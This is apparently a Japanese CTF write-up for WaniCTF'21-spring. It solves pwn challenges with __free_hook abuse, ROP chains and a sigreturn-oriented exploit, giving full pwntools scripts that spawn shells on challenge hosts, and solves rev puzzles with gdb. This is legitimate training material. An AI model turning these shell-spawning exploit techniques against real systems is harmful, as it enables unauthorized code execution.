WaniCTF'21-spring writeup

はじめに

pwnとrev,半分ぐらい解けました. writeup,書いていきます.

pwn

01 netcat

  • netcat (nc)と呼ばれるコマンドを使うだけです。
  • つないだら何も出力されなくても知っているコマンドを打ってみましょう。

ncでつなぐだけ

02 free hook

  • free_hookの仕組みを理解する必要があります。

free関数が呼び出される時,__free_hookが指す関数が実行されます.

49行目で__free_hookにsystemが設定されているので,freeに"/bin/sh"を指定して実行すれば,シェルが取れます.

❯ ./pwn02
1: add memo
2: view memo
9: del memo
command?: 1
index?[0-9]: 0
memo?: /bin/sh

 

[[[list memos]]]
***** 0 *****
/bin/sh


1: add memo
2: view memo
9: del memo
command?: 9
index?[0-9]: 0
$ ls
pwn02 pwn02.c

03 rop machine easy

  • ropでsystem("/bin/sh")を実行して下さい。
  • "/bin/sh"のアドレスは提供されています
  • rop machineの使い方->wani-hackase/rop-machine

system関数が呼び出せる&"/bin/sh"の場所が分かっている状態

x64では,第一引数をrdiにセットします

rop chainを以下のように構築すると,system("/bin/sh")を実行され,シェルが取れます

rop_arena
+--------------------+
 | pop rdi; ret       |<- rop start
+--------------------+
 | 0x404070        |
+--------------------+

 | system            |
+--------------------+

04 rop machine normal

  • ropでexecve("/bin/sh", 0, 0)を実行して下さい。
  • "/bin/sh"のアドレスは提供されています
  • execveのsyscall番号は0x3bです。
  • rop machineの使い方->wani-hackase/rop-machine

03の,execve("/bin/sh", 0, 0)を実行させる版

raxにシステムコール番号(今回は0x3b),rdi,rsi,rdxに引数を設定します

rop chainを次のように構築すると,シェルが取れます

+--------------------+
 | pop rax; ret      |<- rop start
+--------------------+
 | 0x00003b        |
+--------------------+
 | pop rdi; ret       |
+--------------------+
 | 0x404070        |
+--------------------+
 | pop rsi; ret       |
+--------------------+
 | 0x0                  |
+--------------------+
 | pop rdx; ret      |
+--------------------+
 | 0x0                  |
+--------------------+
 | syscall; ret       |
+--------------------+

05 rop machine hard

  • ROPgadgetコマンドの使い方を覚えましょう。
  • rop machineの使い方->wani-hackase/rop-machine

04とほぼ同じですが,用意されたガジェットをスタックに積むコマンドが用意されていないので,ガジェットのアドレスを調べる必要があります.

今回,rp++を使用して,ガジェットを探しました.

pop rsiだけのガジェットがなかったので,代わりに,pop rsi pop r15を使用します.

from pwn import *

binary = "./pwn05"
context.binary = binary

DEBUG = True
GDB = False

if DEBUG:
    context.log_level = "debug"

REMOTE = True
elif REMOTE:
    io = remote("rop-normal.pwn.wanictf.org", port = 9005)
else:
    io = process(binary)

if GDB:
    gdb.attach(io)

def send_hex_value(value: str):
    io.recvuntil("> ")
    io.sendline("1")
    io.recvuntil("hex value?: ")
    io.sendline(value)

e = ELF(binary)
r = ROP(e)

syscall = "4012ae"

pop_rax = "4012a9"
pop_rdi = "40128f"
pop_rdx = "40129c"
pop_rsi_pop_r15 = "401611"

exec_no = "3b"

send_hex_value(pop_rax)
send_hex_value(exec_no)
send_hex_value(pop_rdi)
send_hex_value("404078")
send_hex_value(pop_rsi_pop_r15)
send_hex_value("0")
send_hex_value("0")
send_hex_value(pop_rdx)
send_hex_value("0")
send_hex_value(syscall)

io.recvuntil("> ")
io.sendline("0") #execute rop

io.interactive()

06 SuperROP

  • sigreturnを用いたROPでシェルを実行してください。
  • sigreturnを使うとスタックの値でレジスタを書き換えることができます。

問題文にある通り,sigreturnを使用してexecve("/bin/sh", 0, 0)を実行させます. sigreturnは,スタックを一掃してripにジャンプするシステムコールシステムコール番号15)です.

スタックを一掃するときに,スタックの値をレジスタにセットするので,syscallガジェットがある時,任意のシステムコールが呼び出せます. csレジスタ(コードセグメントレジスタ)は,x64の場合,0x33に設定しておく必要があるそうです x64でSigreturn Oriented ProgrammingによるASLR+DEP+RELRO回避をやってみる - ももいろテクノロジー

bufのアドレスが分かっているので,先頭に"/bin/sh"を置いておき,アドレスを引数に指定します.

from pwn import *

binary = "./pwn06"
context.binary = binary

DEBUG   = True
if DEBUG:
    context.log_level = "debug"

REMOTE  = False
if REMOTE:
    io = remote("srop.pwn.wanictf.org", port = 9006)
else:
    io = process(binary)

GDB = False
if GDB:
    gdb.attach(io)

e = ELF(binary)
r = ROP(e)

offset = 72

syscall_ret = 0x0040117e
set_rax     = 0x0040118c

io.recvuntil("buff : ")
addr = int(io.recv(14), 16)

log.info("addr = 0x%x" % addr)

r.raw("/bin/sh\x00")
r.raw("A" * (offset - 8))
r.raw(r.find_gadget(["ret"]))
r.raw(set_rax)
r.raw(syscall_ret)
r.raw(0)    #uc_flags
r.raw(0)    #&uc_link
r.raw(0)    #ss_sp
r.raw(0)    #ss_flags
r.raw(0)    #ss_size
r.raw(0)    #r8
r.raw(0)    #r9
r.raw(0)    #r10
r.raw(0)    #r11
r.raw(0)    #r12
r.raw(0)    #r13
r.raw(0)    #r14
r.raw(0)    #r15
r.raw(addr) #rdi (arg1)
r.raw(0)    #rsi
r.raw(0)    #rbp
r.raw(0)    #rbx
r.raw(0)    #rdx
r.raw(0x3b) #rax
r.raw(0)    #rcx
r.raw(0)    #rsp
r.raw(syscall_ret)    #rip
r.raw(0)    #eflags
r.raw(0x33)    #cs/gs/fs
r.raw(0)
r.raw(0)
r.raw(0)
r.raw(0)
r.raw(0)
r.raw(0)
r.raw(0)
r.raw(0)
r.raw(0)
r.raw(0)

log.info(r.dump())
pay = r.chain()

io.recv()
io.sendline(pay)

io.interactive()

pwntoolsには,sigreturnの機能もあるみたいなので,今後使ってみます

rev

secret

この問題では Linux の ELF 実行ファイル(バイナリ)である「secret」が配布されています。

このバイナリを実行すると secret key を入力するように表示されます。

試しに「abcde」と入力してみると「Incorrect」と言われました。

$ file secret secret: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1daf4ab43cfa357911806c3ccae34a1b6e027913, for GNU/Linux 3.2.0, not stripped

$ sudo chmod +x secret

$ ./secret ... Input secret key : abcde Incorrect

$ ./secret ... Input secret key : ?????? Correct! Flag is ??????

このバイナリが正しいと判断する secret key を見つけて読み込んでみましょう!

(secret key とフラグは別の文字列です)

(このファイルを実行するためには Linux 環境が必要となりますので WSL や VirtualBox で用意してください)

ヒント :「表層解析」や「静的解析」を行うことで secret key が見つかるかも...?

表層解析ツール strings

静的解析ツール Ghidra

入力された文字列とsecret keyを比較し,一致した場合にフラグが表示されます. gdbでstrcmpに与えられる引数の中身を見れます.

gdb-peda$ pdisass main
   ...
   0x0000000000001445 <+517>: lea    rsi,[rip+0xe94]        # 0x22e0
   0x000000000000144c <+524>: mov    rdi,rax
   0x000000000000144f <+527>: call   0x1090 <strncmp@plt>
   ...
gdb-peda$ x/s 0x22e0
0x22e0: "wani_is_the_coolest_animals_in_the_world!"

execute

コマンドを間違えて、ソースコードも消しちゃった!

今残っているファイルだけで実行して頂けますか?

(reverse engineeringすれば、実行しなくても中身は分かるみたいです。)

main.sのソースコードとlibprint.soのシンボル・print関数の中身を調べました. mainからlibprint.soにあるprint関数を用いてフラグを表示させていたようです. main.sをlibprint.soとリンクさせてコンパイルさせると,a.outができたので,stringするとフラグが見れました.

timer

フラグが出てくるまで待てますか?

super_complex_flag_print_function 関数でフラグを表示しているようですが、難読化されているため静的解析でフラグを特定するのは難しそうです...

GDBを使って動的解析してみるのはいかがでしょうか?

sleepした後のjl命令にブレイクポイントを打ち,SFを書き換える(set $eflags = 0)ことでtimerのループから抜けられます.

おわりに

最近勉強した__free_hookの問題が解けたので良かったです. revは,(もっとキレイな)解き方がいろいろありそうですね.